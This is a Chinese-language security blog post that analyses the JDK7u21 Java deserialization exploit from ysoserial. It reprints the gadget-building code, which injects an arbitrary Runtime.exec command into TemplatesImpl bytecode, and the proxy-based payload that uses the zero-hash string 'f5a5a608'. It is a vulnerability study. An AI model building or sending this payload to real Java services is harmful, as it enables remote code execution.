*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。
0x00 TLDR
在上一次研究ApacheCommonsCollections的时候，由于本地的JRE环境是1.8，导致无法复现网上各位大佬提供的payload，但是在查找资料的过程中发现了ysoserial这个项目，简单的讲就是一个Java反序列化漏洞的利用框架，其中集成了很多针对不同框架的payload。在使用这个框架的过程中，发现了一个JDK7u21的payload，利用的是JDK本身的漏洞，但是如名称所言，这个只在JDK7u21及以前的版本中生效，在经过了多天的调试分析后，发现这个漏洞利用流程非常巧妙复杂，有很多值得学习的地方，漏洞作者也写出了一份writeup放在了 gist上。
这个漏洞看起来十分简单，但是实际调试起来却非常困难，足足让本菜鸡调了好几天才彻底搞明白，一部分原因也是因为不熟悉Java的某些特性造成的，所以想要学习到东西还是要亲手尝试一下，只是拜读其他大佬的文章并没有什么用，而且总结成文也是再次加深了对漏洞的理解，毕竟想要给大家讲明白就需要自己先搞明白。
纸上得来终觉浅，绝知此事要躬行。
0x01 动态生成Java代码
在着手分析之前，我们先来学习一下前置技能。在这个PoC中，作者通过javassist动态生成了恶意的gadgets，用来触发命令执行。
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
// 利用TemplatesImpl类来触发恶意的bytescode
final TemplatesImpl templates = new TemplatesImpl();
// 获取容器ClassPool，注入classpath
ClassPool pool = ClassPool.getDefault();
System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
// 获取已经编译好的类
System.out.println("ClassName: " + StubTransletPayload.class.getName());
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态的的构造方法中插入payload
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// 给payload类设置一个名称
// unique name to allow repeated execution (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取该类的字节码
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(
templates,
"_bytecodes",
new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 只要触发这个方法就能执行我们注入的bytecodes
// templates.getOutputProperties();
return templates;
}
相关说明在注释中已经给出了，通过精心构造一个TemplatesImpl对象，并且想办法触发该对象的getOutputPropertites()方法，就能执行我们构造的命令。
0x02 动态代理
Java中的动态代理十分灵活，只需要为一组接口指定好InvocationHandler对象，那么调用接口方法的时候，将会被转派到handler对象的invoke方法，在这个方法中可以通过反射执行原方法，也可以做一些其他的操作。
所有的Handler类都需要实现InvocationHandler这个接口，当我们通过代理对象调用某个方法的时候，这次调用就会被转派到Handler的invoke方法，该函数签名如下：
Object invoke(Object proxy, Method method, Object[] args) throws Throwable
proxy: 是被代理的真实对象
method: 要调用的真实对象方法的Method对象
args: 调用真实对象方法时的参数
当创建好InvocationHandler对象后，就可以通过Proxy.newProxyInstance方法来创建动态代理，该方法签名如下：
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
loader: 定义由哪个ClassLoader对象来对生成的代理对象进行加载
interfaces: Interface对象的数组，表示将要给需要代理的对象提供的一组什么接口
h: InvocationHandler对象，表示当目前这个动态代理对象在调用方法的时候，应当关联到哪一个InvocationHandler对象上
来看一个动态代理的例子：
// 需要实现的接口
interface ISubject {
public void hello(String str);
}
// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}
// Handler对象
class Handler implements InvocationHandler {
private Object subject;
public Handler(Object subject) {
this.subject = subject;
}
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}
public class DynamicProxy {
public static void main(String[] args) {
SubjectImpl subject = new SubjectImpl();
InvocationHandler tempHandler = new Handler(subject);
// 创建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}
当代理创建完成后，我们调用iSubject.hello方法时，会被分配到invoke方法执行；输出如下：
before!
SubjectImpl.hello(): world!
after!
0x03 漏洞分析
说了这么多，我们再来一起分析一下这个漏洞，这个PoC是在ysoserial中的payload基础上修改而来的，可能会比较易懂，先贴上PoC的主要部分：
public Object getObject(final String command) throws Exception {
// 生成恶意的templates，想办法触发templates.getOutputProperties();方法
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
// 创建一个新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler
// 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// 创建代理
// 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // 存储了恶意java字节码数据的TemplatesImpl类对象
set.add(proxy); // 代理了Templates接口的对象
map.put(zeroHashCodeStr, templates);
// set中存储了最终的payload，只需要反序列化这个就可以触发了
return set;
}
大部分代码上都写了一些注释，整体应该能看懂，接下来就仔细分析一下到底是如何触发命令执行的了。
其实HashSet本质上就是一个HashMap<key, new Object()>，key是我们存进去的数据，而value就是静态的Object对象。
当LinkedHashSet被反序列的时候，会调用其父类HashSet的readObject方法。
根据这一部分的逻辑，可以看出来在反序列化的时候，会依次将templates和proxy加入到map中，继续跟进put方法：
有一处很关键的比较，就是图中打了断点的475行，这里我们需要继续触发key.equals(k)方法，前面的判等我们暂且不谈，先继续向下跟进。由于我们代理了templates接口，当调用到templates.equals()的时候，自然会调用到handler的invoke方法，这里也就是会调用proxy.equals(templates)方法。
继续跟进equalsImpl方法，会发现这个方法会依次调用Templates的每一个方法，（如果不太理解的话可以在这里下断单步跟一下），所以会调用到我们前面提到的Templates.getOutputProperties()方法，进而造成命令执行。
到这里整个流程已经走通了，整体的调用链也就像这样，引用一下漏洞作者的图：
简化一下就是下面这样子：
LinkedHashSet.readObject()
HashSet.readObject()
HashMap.put()
templates.equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
TemplatesImpl.getOutputProperties()
至于为什么调用TemplatesImpl.getOutputProperties()就能执行命令，各位同学可以自行跟一下，漏洞作者也给出了调用链，并不是很难理解，这里就不再展开说明了。
0x04 绕过hash
刚刚我们提到了一个很重要的判断，想要利用equals方法必须绕过前面的hash判等。
e.hash == hash && ((k = e.key) == key || key.equals(k))
为了调用到最后的key.equals方法，根据逻辑短路原理（如果不知道啥是短路原理请自行google），必须让e.hash == hash为true，并且(k = e.key) == key为false。
当执行到put(proxy)的时候，map里实际上已经有第一个templates，这里的hash就是proxy.hashCode，e.hash就是templates.hashCode，也就是需要达成proxy.hashCode() == templates.hashCode()这个条件。
templates.hashCode()比较好说，这个类没有重写，调用的是默认的hashCode方法。当调用proxy.hashCode()的时候，则会跳到AnnotationInvocationHandler.invoke()方法，再来看一下这个方法是如何处理hashCode()方法的。
在48行调用了this.hashCodeImpl()方法，继续跟进后发现该方法会从memberValues中进行遍历，并且依次计算key.hashCode()，而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的：
// 创建一个新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); // 没有这行也OK
// 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler
// 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
...
map.put(zeroHashCodeStr, templates);
这个map的key就是我们设置的特殊字符串『f5a5a608』，而这个字符串的hashCode是0，可以说是非常有意思了。而整个看起来很长的循环，实际上也就变成了
var1 += 127 * (0 ^ entry.getValue().hashCode())
那这个value是啥呢？就是我们构造的templates。整个hash计算就变成了templates.hashCode()，所以proxy.hashCode() == templates.hashCode()也就成立了，如果不理解的话还是建议各位同学手动调试一下。
第二个条件e.key == key是很明显的不同的，一个是templates，另一个是proxy，所以这个条件是false，最终会调用到equals方法。
0x05 总结 && 参考
至此整个漏洞已经分析完了，后续Java的修复方案我们放在分析JDK8u20的时候一并来讲。这个漏洞利用了Java的许多机制，调试完了感觉思路扩宽了许多，还是要继续学习。完整的POC我会放在GitHub上。
https://gist.github.com/frohoff/24af7913611f8406eaf3
* 本文作者：美丽联合安全MLSRC，转载注明来自FreeBuf.COM
来源：freebuf.com 2018-06-27 14:00:14 by: 美丽联合安全MLSRC
请登录后发表评论
注册